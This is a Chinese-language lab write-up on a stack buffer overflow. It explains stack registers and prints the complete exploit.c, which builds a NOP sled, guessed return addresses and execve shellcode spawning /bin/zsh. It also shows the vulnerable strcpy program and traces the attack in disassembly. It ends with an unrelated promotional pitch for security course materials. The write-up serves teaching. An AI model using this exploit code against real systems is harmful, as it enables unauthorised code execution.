栈溢出利用的分析
实验环境:
Linux ubuntu 5.4.0-146-generic #163~18.04.1-Ubuntu 64bitgcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)
一、栈溢出攻击的原理
栈溢出攻击是一种利用栈空间的缺陷,对程序进行非法操作的攻击方式。在C语言中,栈是一种用来存储函数调用过程中的局部变量、参数和返回地址等信息的内存区域。栈的结构通常是“先进后出”的,也就是说,最后进入栈的数据最先被处理。
攻击者通过精心构造输入数据,将超过栈空间的数据写入栈中,覆盖原来存储的返回地址和局部变量等信息。当程序执行到这个被攻击者改写过的返回地址时,会跳转到攻击者预设的代码区域执行,从而控制程序的行为。
esp
用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化
ebp
用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。
eip
用来存储即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,eip 随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。
在溢出数据内包含一段攻击指令,用攻击指令的起始地址覆盖掉返回地址。攻击指令一般都是用来打开 shell,从而可以获得当前进程的控制权,所以这类指令片段也被成为“shellcode”。
二、exploit.c和badfile的分析
生成badfile
本次实验中所用的终端是zsh,所以在exploit.c文件中将shellcode数组中的"\x68""//sh"
改成"\x68""/zsh"
进入到文件目录进行编译:
使用xxd badfile
查看内容:
对shellcode
数组进行反汇编如下:
xor eax,eax # 清零 eax
push eax # push 0,将字符串截断
push 0x68732f2f # push "/zsh"
push 0x6e69622f # push "/bin",与前者合并为 "/bin/zsh" 字符串
# 此时 esp 指向此字符串
mov ebx,esp # 使 ebp 指向字符串
push eax
push ebx
mov ecx,esp # 使 %ecx 指向字符串的地址,给 %ecx 赋值
cdq # 给 %edx 赋值,把 %eax 的第 31 bit 复制到 %edx 的每一个 bit 上
# 实际上就是把 %edx 清零
mov al,0xb # 给 %eax 赋值,11 是 execve() 的系统调用号。
int 0x80 # 系统调用 execve("/bin/zsh",NULL,NULL)
exploit.c源代码分析
/* exploit.c */
/* 创建包含启动shell代码的文件“badfile”的程序 */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define BUFFER_SIZE 517 // 定义缓冲区的大小
#define OFFSET 400 // 定义缓冲区偏移量
char shellcode[] =
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x68""/zsh" // pushl $0x68732f2f
"\x68""/bin" // pushl $0x6e69622f
"\x89\xe3" // movl %esp,%ebx
"\x50" // push %eax
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx # 给 %ecx 赋值
"\x99" // cdq # 给 %edx 赋值
"\xb0\x0b" // movb $0x0b,%al # 给 %eax 赋值,11 是 execve() 的系统调用号。
"\xcd\x80" // int $0x80 # execve("/bin/zsh",0,0)
;
void fillBuffer(char buffer[BUFFER_SIZE]) {
// 获取shellcode的大小
int shellcodeSize = sizeof(shellcode);
// 一个估计的返回地址,该地址最终将允许使用缓冲区的地址和偏移量值(在这种情况下为400字节)来执行shellcode
long *returnAddress = (long *) (buffer+OFFSET);
// 获取缓冲区的长整型指针,以引用堆栈内存地址中的每个4字节的十六进制数
long *bufferPtr = (long *) buffer;
int i;
// 获取null-terminated shellcode在缓冲区中的起始索引(即,null-terminated shellcode插入到缓冲区的末尾)
int shellcodeStartIndex = (BUFFER_SIZE-(shellcodeSize+1));
// shellcode的计数器
int shellcodeCounter = 0;
// 循环25次(每次从缓冲区开始修改堆栈内存地址中的4字节十六进制数)
for (i = 0; i < 25; i++) {
*bufferPtr = (long) returnAddress; // 将估计的返回地址分配给堆栈内存地址中的4字节十六进制数
bufferPtr++; // 前往堆栈内存地址中的下一个4字节十六进制数(因为长整型是4字节的一部分)
}
// 将shellcode(不包括空终止符)插入到缓冲区的末尾
for (i = shellcodeStartIndex; i < (BUFFER_SIZE-1); i++) {
buffer[i] = shellcode[shellcodeCounter];
shellcodeCounter++;
}
// 用空终止符将shellcode终止
buffer[BUFFER_SIZE-1] = '\0';
}
void main(int argc, char **argv) {
char buffer[BUFFER_SIZE];
FILE *badfile;
/* 使用0x90(NOP指令)初始化缓冲区 */
memset(&buffer, 0x90, BUFFER_SIZE);
/* 在这里填充缓冲区的适当内容 */
fillBuffer(buffer);
/* 将内容保存到文件“badfile”中 */
badfile = fopen("./badfile", "w");
fwrite(buffer, BUFFER_SIZE, 1, badfile);
fclose(badfile);
}
程序和文件简要分析
- main
首先定义数组 char buffer[BUFFER_SIZE]
,然后将其用 0x90
(也就是 NOP 指令,用于内存对齐,不会做任何操作)填充然后调用 fillBuffer(buffer)
,对 buffer 填充合适的内容,最后将 buffer 内容写入 badfile .
-
fillBuffer - 见源代码注释
-
badfile 文件
-
返回地址
用于覆盖 stack 程序的 bof 函数的返回地址,以便在 ret 时跳转到 nop 指令 -
nop 指令
填充 NOP 指令, 为恶意代码创建了大量入口点。
-
shellcode
getshell的指令
-
三、stack运行和getshell
根据README的命令,运行stack程序,可以看到成功拿到shell
注:图中命令出现的白色和红色是zsh代码补全插件导致,不影响实验中实际shell命令的执行
四、stack程序详细分析
主要代码:
#define BUFFER_SIZE 517 // 定义缓冲区大小
int bof(char *str)
{
char buffer[24]; // 定义一个本地缓冲区来存储数据
/* 下面这条语句存在缓冲区溢出问题 */
strcpy(buffer, str); // 将输入字符串复制到缓冲区,没有进行边界检查
return 1;
}
int main(int argc, char **argv)
{
char str[BUFFER_SIZE]; // 声明一个大小为 BUFFER_SIZE 的字符数组
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), BUFFER_SIZE, badfile); // 读取文件内容到 str 中
bof(str); // 调用存在漏洞的函数,并将 str 作为参数传入
printf("Returned Properly\n"); // 输出 "Returned Properly"
return 1;
}
程序栈帧的主要变化有以下几个部分:
- call fread 后,call bof 前
- call bof 后, call strcpy 前
- call strcpy 后,bof 内 ret 前
- 从bof 返回main 后
main函数开始:
08049229 <main>:
8049229: f3 0f 1e fb endbr32
804922d: 8d 4c 24 04 lea 0x4(%esp),%ecx
8049231: 83 e4 f0 and $0xfffffff0,%esp
8049234: ff 71 fc pushl -0x4(%ecx)
8049237: 55 push %ebp
8049238: 89 e5 mov %esp,%ebp
804923a: 53 push %ebx
804923b: 51 push %ecx
804923c: 81 ec 10 02 00 00 sub $0x210,%esp
8049242: e8 e9 fe ff ff call 8049130 <__x86.get_pc_thunk.bx>
8049247: 81 c3 b9 2d 00 00 add $0x2db9,%ebx
# stack.c:23: badfile = fopen("badfile", "r");
804924d: 83 ec 08 sub $0x8,%esp
8049250: 8d 83 08 e0 ff ff lea -0x1ff8(%ebx),%eax
8049256: 50 push %eax
8049257: 8d 83 0a e0 ff ff lea -0x1ff6(%ebx),%eax
804925d: 50 push %eax
804925e: e8 6d fe ff ff call 80490d0 <fopen@plt>
8049263: 83 c4 10 add $0x10,%esp
8049266: 89 45 f4 mov %eax,-0xc(%ebp)
# stack.c:24: fread(str, sizeof(char), 517, badfile);
8049269: ff 75 f4 pushl -0xc(%ebp)
804926c: 68 05 02 00 00 push $0x205
8049271: 6a 01 push $0x1
8049273: 8d 85 ef fd ff ff lea -0x211(%ebp),%eax
8049279: 50 push %eax
804927a: e8 11 fe ff ff call 8049090 <fread@plt>
call fread 后,call bof 前
准备调用 fread(str, sizeof(char), BUFFER_SIZE, badfile)
# 依次将 badfile, BUFFER_SIZE(0x205), sizeof(char)(1), str 压栈
push DWORD PTR [ebp-0xc]
push 0x205
push 0x1
lea eax,[ebp-0x211]
push eax
# 然后调用 fread
call 8049050 <fread@plt>
call bof 后, call strcpy 前
准备调用 bof(str)
# 将 str 地址通过 eax 压栈
lea eax,[ebp-0x211]
push eax
# call bof
call 80491a6 <bof>
call strcpy 后,bof 内 ret 前
准备调用 strcpy(buffer, str)
# 将 str 地址压栈
push DWORD PTR [ebp+0x8]
# 将 buffer 地址通过 edx 压栈
lea edx,[ebp-0x20]
push edx
mov ebx,eax
# call strcpy
call 8049060 <strcpy@plt>
由于str的内容远大于buffer的容量,所以str的内容会向栈的高地址覆写
从bof 返回main 后
add esp,0x10
mov eax,0x1
mov ebx,DWORD PTR [ebp-0x4]
leave
ret
执行leave
后,关闭栈帧, esp指向如图所示位置
执行ret
后,esp指向的堆栈数值被弹岀到eip,即返回地址的值,eip此时指向如图nop的位置
此时程序会沿着当前位置一直运行到 shellcode,即执行 execve("/bin/zsh",NULL,NULL)
,从而得到shell
五、总结
本次栈溢出攻击实验,有以下关键点:
-
在编译时使用了
-z execstack
(启用可执行堆栈)和-fno-stack-protector
(禁用栈保护)选项 -
程序运行时关闭 ALSR(地址空间随机化),导致 shellcode 的地址可以直接确定
-
stack 程序中的 bof 函数存在栈溢出漏洞,修改 bof 函数的返回地址后,可以使程序一步步跳转到 shellcode 位置,从而实现栈溢出攻击,得到shell
-
学习计划安排
我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!
①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析